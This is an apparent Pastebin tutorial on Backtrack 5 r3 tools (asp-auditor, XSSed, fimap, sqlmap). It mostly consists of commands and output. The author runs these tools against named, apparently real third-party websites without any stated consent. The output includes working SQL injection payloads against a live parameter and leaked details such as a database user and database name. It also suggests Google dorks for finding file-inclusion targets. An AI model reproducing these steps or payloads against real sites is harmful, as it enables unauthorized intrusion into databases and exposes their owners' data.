Advertisement
Prachu

Some uses of Perl and Python in Backtrack 5 r3

May 23rd, 2016
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.93 KB | None | 0 0
  1. This is a little theory with we can to use perl and python. LetΒ΄s go!!
  2. ================================================== ===============================
  3.  
  4.  
  5. asp-auditor is a perl script created that allows you to find useful information on a web server.
  6. First go to Backtrack 5 r3 dir: /Backtrack/Exploitation Tools/Web Exploitation Tools/asp-auditor.
  7.  
  8.  
  9. Appear the following
  10.  
  11.  
  12. Usage: ./asp-audit.pl [http://target/app/file.aspx] (opts)
  13.  
  14.  
  15. (opts)
  16. -bf brute force ASP.NET version using JS Validate
  17. directories.
  18.  
  19.  
  20. Now you see the next:
  21. root@bt:/pentest/web/asp-auditor#
  22.  
  23.  
  24. To use the script you need to run the following syntax:
  25.  
  26.  
  27. perl asp-auditor.pl website/page.aspx options
  28.  
  29.  
  30. After you put the following I used this web http://conalepsin.edu.mx/apps/chekt/Default.aspx
  31.  
  32.  
  33. root@bt:/pentest/web/asp-auditor# perl asp-audit.pl http://conalepsin.edu.mx/apps/chekt/Default.aspx -bf
  34. Sending initial probe request...
  35. Sending path discovery request...
  36. Sending ASP.NET validate discovery request...
  37. Sending ASP.NET Apr/07 XSS Check
  38. Sending application trace request...
  39. Sending null remoter service request...
  40.  
  41.  
  42. [ .NET Configuration Analysis ]
  43.  
  44.  
  45. Server -> Microsoft-IIS/6.0
  46. ADNVersion -> 2.0.50727
  47.  
  48.  
  49. matches -> 2.0.50727.07 Version 2.0 (Visual Studio.NET 2005 CTP) Aug 2005
  50. matches -> 2.0.50727.26 Version 2.0 (Visual Studio.NET 2005 RC / SQL Server 2005 CTP) Sep 2005
  51. matches -> 2.0.50727.42 Version 2.0 RTM (Visual Studio.NET 2005 RTM / SQL Server 2005 RTM) Nov 2005
  52. Sending brute force discovery requests...
  53.  
  54.  
  55. ================================================== ============================================
  56.  
  57.  
  58. Knowing websites vulnerable to Cross Site Scripting using Backtrack 5 r3. A little theory, a cross site scripting is a typical type of security hole Web application that allows third party websites inject the user views JavaScript code or in another script language similar.
  59.  
  60.  
  61. To begin, start Backtrack 5 r3, once started is entered
  62. Applications / Backtrack / Information Gathering / Web Application Analysis / Open Source Analysis / XSSed
  63.  
  64.  
  65. The link is directed to http://www.xssed.com/archive website, which displays a list of websites vulnerable to Cross Site Scripting
  66.  
  67.  
  68. To prevent such attacks, it is necessary for the proper configuration files of type javascript, php, vbscript, output filter content, in short, all entries entered by users must be verified before being used.
  69.  
  70.  
  71. ================================================== ============================================
  72.  
  73.  
  74. Here I leave this brief manual Fimap tool use in Backtrack 5 r3. A little theory, Fimap is a tool created in the python programming language, which allows you to explore and exploit such vulnerabilities RFI (reomte File Inclusion) or LIF (Local File Inclusion). It also allows, if you have an Internet connection, via google searchpaths vulnerability to Web sites.
  75.  
  76.  
  77. To start, starts Backtrack 5 r3. Once initiated Entering directory / pentest / web / fimap;
  78.  
  79.  
  80. cd / pentest / web / fimap
  81.  
  82.  
  83. root@bt:~# cd /pentest/web/fimap
  84. root@bt:/pentest/web/fimap# ./fimap.py -u 'http://www.website/news.php?id=108'
  85.  
  86.  
  87. You can to look for with google dorks too
  88.  
  89.  
  90. root@bt:/pentest/web/fimap# ./fimap.py -u 'index.php?id='
  91.  
  92.  
  93. When the website is vulnerable to Remote File Inclusion is displayed on the terminal notifying exploitation. Fimap is a very good tool for administrators and whose main objective is to improve the quality and security of your website.
  94.  
  95.  
  96. ================================================== ============================================
  97. [B]SQLMAP
  98. Sqlmap in Backtrack 5 r3. A little theory, sqlmap is a tool to detect and exploit SQL injection vulnerabilities thus obtaining full access to the database server Algin web, regardless of the type of operating system.
  99.  
  100.  
  101. To use the tool, start Backtrack 5 r3 and Entering directory
  102. / pentest / database / sqlmap
  103.  
  104.  
  105. root@bt:# cd /pentest/database/sqlmap/
  106.  
  107.  
  108. Appear the following:
  109.  
  110.  
  111. root@bt:/pentest/database/sqlmap#
  112.  
  113.  
  114. Next steep:
  115.  
  116.  
  117. root@bt:/pentest/database/sqlmap# ls
  118. doc lib plugins README.md sqlmap.conf sqlmap.py tamper udf
  119. extra output procs shell _sqlmap.py _sqlmap.pyc txt xml
  120.  
  121.  
  122. After we write ./sqlmap.py -u http://www.weburl.com. I used a url http://www.centro-lomas.com.ar
  123.  
  124.  
  125. root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://www.centro-lomas.com.ar/detalles.php?id=1
  126.  
  127.  
  128. sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
  129. http://sqlmap.org
  130.  
  131.  
  132. [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
  133. starting at 18:08:56
  134.  
  135.  
  136. [18:08:57] [INFO] testing connection to the target url
  137. [18:08:59] [INFO] testing if the url is stable, wait a few seconds
  138. [18:09:00] [INFO] url is stable
  139. [18:09:00] [INFO] testing if GET parameter 'id' is dynamic
  140. [18:09:01] [INFO] confirming that GET parameter 'id' is dynamic
  141. [18:09:01] [INFO] GET parameter 'id' is dynamic
  142. [18:09:02] [INFO] heuristics detected web page charset 'ascii'
  143. [18:09:02] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
  144. [18:09:02] [INFO] testing for SQL injection on GET parameter 'id'
  145. [18:09:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  146. [18:09:03] [WARNING] reflective value(s) found and filtering out
  147. [18:09:04] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
  148. [18:09:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
  149. [18:09:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
  150. [18:09:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  151. [18:09:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  152. [18:09:16] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
  153. [18:09:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
  154. [18:09:16] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
  155. [18:09:16] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
  156. [18:09:18] [INFO] target url appears to have 6 columns in query
  157. [18:09:19] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
  158. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
  159. sqlmap identified the following injection points with a total of 18 HTTP(s) requests:
  160. ---
  161. Place: GET
  162. Parameter: id
  163. Type: boolean-based blind
  164. Title: AND boolean-based blind - WHERE or HAVING clause
  165. Payload: id=1 AND 2747=2747
  166.  
  167.  
  168. Type: error-based
  169. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  170. Payload: id=1 AND (SELECT 5273 FROM(SELECT COUNT(*),CONCAT(0x3a69617a3a,(SELECT (CASE WHEN (5273=5273) THEN 1 ELSE 0 END)),0x3a7174773a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  171.  
  172.  
  173. Type: UNION query
  174. Title: MySQL UNION query (NULL) - 6 columns
  175. Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a69617a3a,0x7361464c446765557662,0x3a717 4773a), NULL, NULL, NULL, NULL, NULL#
  176.  
  177.  
  178. Type: AND/OR time-based blind
  179. Title: MySQL > 5.0.11 AND time-based blind
  180. Payload: id=1 AND SLEEP(5)
  181. ---
  182.  
  183.  
  184. [18:09:28] [INFO] the back-end DBMS is MySQL
  185.  
  186.  
  187. web application technology: PHP 5.3.13, Apache 2.2.22
  188. back-end DBMS: MySQL 5.0
  189. [18:09:28] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.centro-lomas.com.ar'
  190. shutting down at 18:09:28
  191.  
  192.  
  193. Also if you want to use the helper to run the tool incorporates the following syntax:
  194.  
  195.  
  196. ./sqlmap.py --wizard
  197.  
  198.  
  199. root@bt:/pentest/database/sqlmap# ./sqlmap.py --wizard
  200.  
  201.  
  202. sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
  203. http://sqlmap.org
  204.  
  205.  
  206. [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
  207. starting at 18:10:02
  208.  
  209.  
  210. Please enter full target URL (-u): http://www.centro-lomas.com.ar/detalles.php?id=1
  211. POST data (--data) [Enter for None]:
  212. Injection difficulty (--level/--risk). Please choose:
  213. [1] Normal (default)
  214. [2] Medium
  215. [3] Hard
  216. > 3
  217. Enumeration (--banner/--current-user/etc). Please choose:
  218. [1] Basic (default)
  219. [2] Smart
  220. [3] All
  221. > 1
  222.  
  223.  
  224. sqlmap is running, please wait..
  225.  
  226.  
  227. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  228. ---
  229. Place: GET
  230. Parameter: id
  231. Type: boolean-based blind
  232. Title: AND boolean-based blind - WHERE or HAVING clause
  233. Payload: id=1 AND 2747=2747
  234.  
  235.  
  236. Type: error-based
  237. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  238. Payload: id=1 AND (SELECT 5273 FROM(SELECT COUNT(*),CONCAT(0x3a69617a3a,(SELECT (CASE WHEN (5273=5273) THEN 1 ELSE 0 END)),0x3a7174773a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  239.  
  240.  
  241. Type: UNION query
  242. Title: MySQL UNION query (NULL) - 6 columns
  243. Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a69617a3a,0x7361464c446765557662,0x3a717 4773a), NULL, NULL, NULL, NULL, NULL#
  244.  
  245.  
  246. Type: AND/OR time-based blind
  247. Title: MySQL > 5.0.11 AND time-based blind
  248. Payload: id=1 AND SLEEP(5)
  249. ---
  250.  
  251.  
  252.  
  253.  
  254. web application technology: PHP 5.3.13, Apache 2.2.22
  255. back-end DBMS: MySQL 5.0
  256. banner: '5.1.66-cll'
  257.  
  258.  
  259. current user: 'cenlom09_gestor@localhost'
  260.  
  261.  
  262. current database: 'cenlom09_capacitacion'
  263.  
  264.  
  265. current user is DBA: None
  266.  
  267.  
  268. shutting down at 18:10:53
  269.  
  270.  
  271. The assistant will guide you through the setup of the website you want to test the vulnerability.
  272.  
  273.  
  274. ================================================== ==========================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement